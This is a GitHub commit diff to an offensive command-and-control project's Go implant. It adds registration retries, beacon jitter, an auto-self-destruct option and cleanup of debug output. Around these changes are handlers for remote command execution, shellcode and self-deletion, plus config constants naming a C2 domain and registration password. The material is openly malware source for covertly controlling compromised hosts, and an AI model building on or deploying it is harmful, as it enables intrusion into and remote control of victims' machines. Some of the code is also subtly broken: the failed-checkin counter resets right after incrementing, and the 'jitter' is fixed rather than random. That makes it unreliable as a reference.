Skip to content

Commit 6a664f2

Browse files
committed
Improvements to go implant
1 parent ac2b4e3 commit 6a664f2

File tree

8 files changed

+52
-19
lines changed

8 files changed

+52
-19
lines changed

design/profile.md

+1-2
Original file line numberDiff line numberDiff line change
@@ -23,13 +23,12 @@ Profiles are YAML files with three main top level directives: `client`, `server`
2323
| Option | Description | Required | Type |
2424
|--------|-------------|----------|------|
2525
| `user_agent` | The user agent to use when making HTTP requests | Yes | String |
26-
<!-- | `encoding` | The encoding to use when sending encrypted data to the C2. | Yes | One of: `base64`, `hex` | -->
2726
| `sleep_time` | The number of seconds to sleep between each HTTP request | Yes | Integer |
2827
| `jitter` | % jitter. The implant will sleep for a random amount of time between `sleep` and `sleep * (1 + jitter)` | Yes | Float, `[0, 0.99]` |
2928
| `max_retries` | The maximum number of times to retry a request before giving up | Yes | Integer |
3029
| `auto_self_destruct` | Whether or not to self destruct on failed checkins. If set to true, the implant will delete itself after `max_retries` failed checkins. | Yes | Boolean |
3130
| `retry_wait` | The number of seconds to wait before retrying a request. | Yes | Integer |
32-
| `retry_jitter` | % jitter. The implant will wait for a random amount of time between `retry_wait` and `retry_wait * (1 + retry_jitter)` | Yes | Float, `[0, 0.99]` |
31+
| `retry_jitter` | % jitter. Between checkins, the implant will wait for a random amount of time between `retry_wait` and `retry_wait * (1 + retry_jitter)` | Yes | Float, `[0, 0.99]` |
3332
| `tailoring_hashes` | A list of hashes to use for payload tailoring. | Yes | List of strings |
3433
| `tailoring_hash_function` | The hash function to use for payload tailoring. | Yes | One of: `sha256`, `md5` |
3534
| `tailoring_hash_rounds` | The number of hash rounds to use for payload tailoring. | Yes | Integer |

go_implant/.gitignore

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
implant-dev-debug
2+
build/*

go_implant/README.md

+16-3
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,18 @@ Some functions were adapted from [Coldfire](https://github.com/redcode-labs/Cold
77

88
## Building
99

10+
There are a few values you need to change before building the implant.
11+
12+
In `pkg/config/config.go` you need to change the following values to match your server configuration:
13+
```go
14+
// !!!!!!!!!! CHANGE THESE !!!!!!!!! //
15+
const C2_DOMAIN = "localhost"
16+
const C2_PORT = 80
17+
const C2_USE_TLS = false
18+
const C2_REGISTER_PASSWORD = "SWh5bHhGOENYQWF1TW9KR3VTb0YwVkVWbDRud1RFaHc="
19+
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //
20+
```
21+
1022
To build the development implant, simply run
1123

1224
```bash
@@ -44,10 +56,11 @@ The C++ implant is a bit more optimized for real world use. The golang implant *
4456

4557
## TODO
4658

47-
* [ ] Register retries
59+
* [x] Register retries
4860
* [ ] Persistence
4961
* [ ] Do something "normal" when sandbox is detected
50-
* [ ] Auto self destruct
51-
* [ ] Jitter
62+
* [x] Auto self destruct
63+
* [x] Jitter
64+
* [ ] Builder sript
5265

5366

go_implant/cmd/main.go

+25-9
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ import (
77
"maliketh/pkg/implant"
88
"maliketh/pkg/sandbox"
99
. "maliketh/pkg/utils"
10+
"os"
1011
"time"
1112
)
1213

@@ -28,21 +29,36 @@ func main() {
2829
DebugPrintln(fmt.Sprintf("Public key: %s", public))
2930
DebugPrintln(fmt.Sprintf("Private key: %s", private))
3031

31-
profile, err := implant.Register(config.GetC2Url(), public, private)
32-
if err != nil {
33-
panic(err)
32+
// Attempt to register the configured number of times
33+
for i := 0; i < config.REGISTER_ATTEMPTS; i++ {
34+
profile, err := implant.Register(config.GetC2Url(), public, private)
35+
if err != nil {
36+
DebugPrintln(fmt.Sprintf("Error registering: %s", err))
37+
if i == config.REGISTER_ATTEMPTS-1 {
38+
DebugPrintln("Max registration attempts reached, exiting...")
39+
if config.AUTO_SELF_DESTRUCT {
40+
implant.SelfDestruct()
41+
}
42+
os.Exit(0)
43+
}
44+
continue
45+
}
46+
config.CurrentProfile = &profile
47+
break
3448
}
35-
config.CurrentProfile = &profile
3649

50+
failed_checkins := 0
3751
for {
38-
time.Sleep(time.Duration(config.CurrentProfile.Config.Sleep) * time.Second)
52+
time.Sleep(time.Duration(time.Duration(CalculateSleepWithJitter(config.CurrentProfile.Config.Sleep, float32(config.CurrentProfile.Config.Jitter))) * time.Second))
3953
task, err := implant.Checkin(config.GetC2Url(), *config.CurrentProfile)
4054
if err != nil {
41-
panic(err)
55+
failed_checkins++
56+
if failed_checkins == config.CurrentProfile.Config.MaxRetries && config.AUTO_SELF_DESTRUCT {
57+
DebugPrintln("Max failed checkins reached, exiting...")
58+
implant.SelfDestruct()
59+
}
4260
}
43-
// DebugPrintln(fmt.Sprintf("Task ID: %s\n", task.TaskId))
44-
// opcode := task.Opcode
45-
// DebugPrintln(fmt.Sprintf("Opcode: %d\n", opcode))
61+
failed_checkins = 0
4662

4763
go implant.Handle(config.GetC2Url(), task, *config.CurrentProfile)
4864
}

go_implant/go.mod

-1
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,6 @@ go 1.21.4
44

55
require (
66
emperror.dev/errors v0.8.1
7-
github.com/davecgh/go-spew v1.1.1
87
github.com/denisbrodbeck/machineid v1.0.1
98
github.com/mitchellh/go-ps v1.0.0
109
golang.org/x/crypto v0.15.0

go_implant/pkg/config/config.go

+2
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,8 @@ const C2_REGISTER_PASSWORD = "SWh5bHhGOENYQWF1TW9KR3VTb0YwVkVWbDRud1RFaHc="
1717

1818
const INITIAL_SLEEP = 180
1919
const REGISTER_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
20+
const REGISTER_ATTEMPTS = 3
21+
const AUTO_SELF_DESTRUCT = false
2022

2123
var CurrentProfile *models.MalleableProfile
2224

go_implant/pkg/implant/handlers.go

+1-4
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@ import (
1515
"time"
1616

1717
"maliketh/pkg/shellcode"
18-
"github.com/davecgh/go-spew/spew"
1918

2019
oslib "maliketh/pkg/os"
2120

@@ -25,12 +24,10 @@ import (
2524
func Handle(c2Url string, task models.Task, profile models.MalleableProfile) {
2625
var output string
2726
var err error
28-
// spew.Dump(task)
2927
switch task.Opcode {
3028
case models.NOOP:
3129
return
3230
case models.OP_CMD:
33-
spew.Dump(task)
3431
output, err = Cmd(task.Args.([]interface{}))
3532
case models.OP_SELFDESTRUCT:
3633
output, err = SelfDestruct()
@@ -92,7 +89,7 @@ func Cmd(args []interface{}) (output string, err error) {
9289
return
9390
}
9491

95-
// Self destruct the implant
92+
// Self destruct the implant. This removes the executable from disk and exits with a 0 exit code.
9693
func SelfDestruct() (output string, err error) {
9794

9895
// Get the path to the executable

go_implant/pkg/utils/utils.go

+5
Original file line numberDiff line numberDiff line change
@@ -45,3 +45,8 @@ func GetNTPTime() time.Time {
4545
binary.Read(sock, binary.BigEndian, transmit)
4646
return time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((transmit.ReceiveTime >> 32) * 1000000000)))
4747
}
48+
49+
// CalculateSleepWithJitter calculates the sleep time with jitter factor.
50+
func CalculateSleepWithJitter(base int, jitter float32) float32 {
51+
return float32(base) * (1 + jitter)
52+
}

0 commit comments

Comments
 (0)